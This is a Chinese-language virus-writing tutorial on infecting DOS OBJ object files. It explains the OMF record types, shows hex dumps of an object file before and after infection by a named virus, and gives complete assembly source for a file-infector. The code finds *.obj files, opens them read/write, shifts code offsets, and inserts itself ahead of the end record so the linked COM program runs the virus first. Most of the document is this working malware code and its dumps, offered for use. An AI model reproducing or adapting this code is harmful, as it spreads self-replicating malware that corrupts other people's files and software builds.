感染OBJ文件
** charme **
********************
********2009.3.19**********
****************
感染OBJ文件
最早的感染OBJ文件的病毒叫做Shift Objective 这个病毒设置IP为100h,
也就是说最后编译出来的文件是com文件。这其中有些看似很合理的原因,因为obj格式并不是通用的,所以并不能达到大范围的感染。我们当然知道,这些文件经常出现在编程人员的硬盘上,但对于一般的用户
并不是都有的。所以这些文件算是并不常见。接下来就研究下这方面的东西。
obj文件中用四个特殊位置表示改文件的信息,第一个字节记录一些该文件的描述信息,第二个字节表明文件大小。第三个字节是校验和。有些链接器会忽略这个信息。
重点关注下面几个描述信息:
080H = 所有OBJ文件的入口
0A0H = 未压缩的原始代码
0A2H = 压缩后的代码
08AH = 结束模块
当你正在查看0AH-OA2H区域的内容时你应该清楚紧跟着的表头(一个字节)
是内存中一部分代码的内存偏移,你也应该知道这段代码是什么。
对于一个com文件,0AH-0A2这四个字节的内容一定是0100H,因为com文件
执行时的IP=0100H,了解PSP的话应该不难理解,解析来就来看怎么感染把!
基本流程是这样的:通读所有的描述信息,到了0AH-0A2H时继续读取,
找到代码偏移,我们需要把这个字节表示大小的病毒代码写进文件。所以
这个地方是很重要的。
移动指针到达08AH处,这表示我们已经到达文件的末尾。在这之前我们需要
增加一个病毒模块,这个病毒模块可以这样写:
VirusField:
db 0A0h ; 正常代码
dw Size+3
db 01
dw 100h ; IP=100h, com文件
写完模块接着写病毒代码,最后我们还需要把结束模块修改下。
#########################################################################
原始OBJ文件
################################################
描述信息 内存偏移
----------------------------------------
Header ....
Module 1 100h
Module 2 400h
Module 3 500h
Final module ....
感染后文件
#########################################
我们假定病毒的长度是100h
描述信息 内存偏移
----------------------------------------
Header ....
Module 1 200h
Module 2 500h
Module 3 600h
Virus 100h
Final module ....
####################################################################
下面是原始文件的HEX样本:
00000000: 80 0C 00 0A 62 61 73 75 - 72 61 2E 61 73 6D 7D 88 ....basura.asm}.
00000010: 1F 00 00 00 54 75 72 62 - 6F 20 41 73 73 65 6D 62 ...Turbo Assemb
00000020: 6C 65 72 20 20 56 65 72 - 73 69 6F 6E 20 32 2E 30 ler Version 2.0
00000030: B9 88 12 00 40 E9 30 91 - 06 25 0A 62 61 73 75 72 ....@.0..%.basur
00000040: 61 2E 61 73 6D 5A 88 03 - 00 40 E9 4C 96 02 00 00 a.asmZ...@.L....
00000050: 68 88 03 00 40 A1 94 96 - 0C 00 05 5F 54 45 58 54 h...@......_TEXT
00000060: 04 43 4F 44 45 96 98 07 - 00 48 02 01 02 03 01 10 .CODE....H......
00000070: 96 0C 00 05 5F 44 41 54 - 41 04 44 41 54 41 C2 98 ...._DATA.DATA..
00000080: 07 00 48 00 00 04 05 01 - 0F 96 08 00 06 44 47 52 ..H..........DGR
00000090: 4F 55 50 8B 9A 06 00 06 - FF 02 FF 01 59 88 04 00 OUP.........Y...
000000A0: 40 A2 01 91 *A0 06 00 01 - 00 01 **CD 20 6B 8A 07 00 @.......... k...
000000B0: C1 10 01 01 00 01 9B ^^^^
Offset in memory. COM File=100H
注意
----------
* = 原始文件的Orig区域
** = 主体的int20 代码,后面要劫持这个
########################################################################
下面是同一个文件被感染后的HEX样本,注意0A0-0A2区域,还有病毒代码和结束模块的变化
00000000: 80 0C 00 0A 62 61 73 75 - 72 61 2E 61 73 6D 7D 88 ....basura.asm}.
00000010: 1F 00 00 00 54 75 72 62 - 6F 20 41 73 73 65 6D 62 ...Turbo Assemb
00000020: 6C 65 72 20 20 56 65 72 - 73 69 6F 6E 20 32 2E 30 ler Version 2.0
00000030: B9 88 12 00 40 E9 30 91 - 06 25 0A 62 61 73 75 72 ....@.0..%.basur
00000040: 61 2E 61 73 6D 5A 88 03 - 00 40 E9 4C 96 02 00 00 a.asmZ...@.L....
00000050: 68 88 03 00 40 A1 94 96 - 0C 00 05 5F 54 45 58 54 h...@......_TEXT
00000060: 04 43 4F 44 45 96 98 07 - 00 48 02 01 02 03 01 10 .CODE....H......
00000070: 96 0C 00 05 5F 44 41 54 - 41 04 44 41 54 41 C2 98 ...._DATA.DATA..
00000080: 07 00 48 00 00 04 05 01 - 0F 96 08 00 06 44 47 52 ..H..........DGR
00000090: 4F 55 50 8B 9A 06 00 06 - FF 02 FF 01 59 88 04 00 OUP.........Y...
000000A0: 40 A2 01 91 *A0 06 00 01 - 57 02 CD 20 6B **A0 5A 01 @.......W.. k.Z.
000000B0: 01 00 01 ***B4 1A BA 60 EA - CD 21 B4 4E 33 C9 BA 15 ......`..!.N3...
^^^^ Offset in memory. COM File=100H
000000C0: 02 CD 21 73 30 B4 1A BA - 80 00 CD 21 BE 37 01 BF ..!s0......!.7..
000000D0: 00 FA 8B C7 B9 05 00 F3 - A5 A4 BE 57 02 BF 00 01 ...........W....
000000E0: 57 B9 50 C3 33 DB 33 D2 - FF E0 F3 A4 33 F6 33 FF W.P.3.3.....3.3.
000000F0: 33 C0 33 C9 C3 BA 7E EA - B8 02 3D CD 21 72 1F 93 3.3...~...=.!r .
00000100: 33 ED E8 9E 00 3C 8A 74 - 6E 3C 8C 74 11 3C A0 74 3....<.tn<.t.<.t
00000110: 19 3C A2 74 15 B8 01 42 - 33 C9 CD 21 73 E4 B4 3E .<.t...B3..!s..>
00000120: CD 21 B4 4F CD 21 73 CD - EB 9B 52 B8 01 42 33 C9 .!.O.!s...R..B3.
00000130: 33 D2 CD 21 52 50 B4 3F - BA 12 02 B9 03 00 CD 21 3..!RP.?.......!
00000140: 0B ED 75 10 45 81 3E 13 - 02 00 01 74 07 FA 83 EC ..u.E.>....t....
00000150: 06 FB EB CA 81 06 13 02 - 57 01 5A 59 51 52 B8 00 ........W.ZYQR..
00000160: 42 CD 21 B4 40 B9 03 00 - BA 12 02 CD 21 5A 59 B8 B.!.@.......!ZY.
00000170: 00 42 CD 21 5A EB 9E B8 - 01 42 B9 FF FF BA FD FF .B.!Z....B......
00000180: CD 21 B4 40 B9 06 00 BA - 0C 02 CD 21 B4 40 BA 00 .!.@.......!.@..
00000190: 01 B9 57 01 CD 21 B4 40 - BA 02 02 B9 0A 00 CD 21 ..W..!.@.......!
000001A0: E9 7B FF B4 3F B9 03 00 - BA 1B 02 CD 21 A0 1B 02 .{..?.......!...
000001B0: 8B 16 1C 02 C3 8A 07 00 - C1 10 01 01 00 01 9B A0 ................
000001C0: 5A 01 01 00 01 01 57 02 - 2A 2E 6F 62 6A 00 8A 07 Z.....W.*.obj...
000001D0: 00 5B 50 41 44 41 4E 49 - 41 20 53 4F 56 52 41 4E .[PADANIA SOVRAN
000001E0: 41 20 62 79 20 49 6E 74 - 31 33 68 2F 49 4B 58 2E A by Int13h/IKX.
000001F0: 20 47 72 65 65 74 73 20 - 74 6F 20 6D 79 20 66 72 Greets to my fr
00000200: 69 65 6E 64 20 62 30 7A - 30 21 8A 07 00 C1 10 01 iend b0z0!......
00000210: 01 00 01 9B
注意
----------
* = int 20
** = 病毒增加的区域
*** = 病毒代码的起始
我们在内存偏移上增加了病毒代码的大小,然后在IP=0100H之后写入了病毒代码
编译器会首先编译我们的病毒代码,然后是后面的主体程序。为了执行主体代码
必须再把IP设置为0100H然后给他控制权。因此我们的病毒代码的后面可以写上一段
程序,这个程序呢就是将原来的主体代码拷贝到IP=0100H处然后给其控制权。
被感染的COM (当被编译的时候)的总体结构:
#######################
OFFSET
$$$$$$$$$$$$$$$$$$$$$$? 0
? P S P ?
**********************? 100H
? V I R U S ?
^^^^^^^^^^^^^^^^^^^^^^? Virus's size
?ORIGINAL HOSTE ?
@@@@@@@@@@@@@@@@@@@@@@? Heap...
##################################################################
; 下面是一个简单的示例程序,很好理解,最后编译成为com文件
; 编译选项:ml /coff /c charme.asm link /subsystem:console charme.obj
.model tiny
.code
org 100h
Size equ (offset EndVirus-offset start)
start:
mov ah,1ah ; 指派DTA
mov dx,60000d ; 到达段末尾区域
int 21h
FindOBJ:mov ah,4eh ; 找到第一个文件
xor cx,cx
mov dx,offset ObjName ; *.obj
int 21h
jnc OpenFile ; 发现就打开
Restore:mov ah,1ah
mov dx,80h ; 在原始的地方嵌入DAT
int 21h
mov si,OptionCode ; 执行这一段代码
mov di,64000 ; 拷贝开始的地址
mov ax,di
mov cx,5 ; 5字节
rep movsw ;重复字拷贝操作
movsb
mov si,offset EndVirus ; 原始主体代码的执行地址
mov di,100h
push di
mov cx,50000
xor bx,bx
xor dx,dx
jmp ax ; ax存放那段代码的句柄,跳转倒那里
OptionCode: repe movsb ; 重复执行字节串传送
xor si,si
xor di,di ; 清空寄存器
xor ax,ax
xor cx,cx
ret ; 返回到0100h处执行
OpenFile:
mov dx,60000d+1eh ; 文件名(4e/4f function)
mov ax,3d02h ; 以读/写的模式打开
int 21h
jc Next ; 打不开就跳转到这里
xchg bx,ax ; 移动文件句柄
xor bp,bp ; 清楚标志
OtherField:
call Reading ; 读取这个字节代表的信息,就前面提到的四个信息
cmp al,08ah ; 看看是不是倒了末尾
jz LastField
cmp al,08ch ; 这个不清楚什么定义
jz Next
cmp al,0a0h ; 到达AOH处,开始感染
jz Infect
cmp al,0a2h ; 压缩后的代码
jz Infect
PointIt:mov ax,4201h
xor cx,cx ; 移动指针指向下一区域
int 21h
jnc OtherField
Next: mov ah,3eh ;关闭文件
int 21h
mov ah,4fh ; 查找下一个OBJ文件
int 21h
jnc OpenFile ; 找到就打开
jmp Restore ; 恢复操作
Infect: push dx
mov ax,4201h
xor cx,cx
xor dx,dx
int 21h
push dx ax ; 记录当前指针位置
mov ah,3fh
mov dx,offset Input ; 读下面的那个偏移
mov cx,3 ; 操作偏移
int 21h
or bp,bp ; 通过标志检查确定是不是在第一个A0
jnz NotTheFirstA0
inc bp ; 改变标志状态
cmp word ptr [Input+1],100h ; 检查IP是不是100H
je NotTheFirstA0
cli
sub sp,6 ; 平衡堆栈(pop ax ax ax)
sti
jmp Next ; 找其他文件
NotTheFirstA0:
add word ptr [Input+1],Size ; 偏移加上病毒大小
pop dx cx
push cx dx
mov ax,4200h ;指针取回来
int 21h
mov ah,40h
mov cx,3 ; 更改
mov dx,offset Input
int 21h
pop dx cx
mov ax,4200h ; 调整为正确的指针位置
int 21h
pop dx
jmp PointIt
LastField:
mov ax,4201h
mov cx,0ffffh ; 移动指针到(8a)
mov dx,0fffdh
int 21h
mov ah,40h
mov cx,6
mov dx,offset VirusField ; 结束模块之前的病毒模块
int 21h
mov ah,40h
mov dx,100h ; 写病毒代码
mov cx,Size
int 21h
mov ah,40h
mov dx,offset Ending ; 写正常的结束模块
mov cx,10
int 21h
jmp Next
Reading:mov ah,3fh
mov cx,3
mov dx,offset Buffer ;信息呗存储倒buffer里
int 21h
mov al,byte ptr ds:[Buffer] ; 区域类型
mov dx,word ptr ds:[Buffer+1] ; 区域大小
ret
Ending db 08ah,07h,00h,0c1h,010h,01h,01h,00h,01h,09bh
VirusField:
db 0A0h ; 正常代码
dw Size+3
db 01
dw 100h ; IP=100h,com
Input db 0,0,0
ObjName db '*.obj',0
Buffer db 0,0,0
EndVirus label byte
int 20h
End start
结束
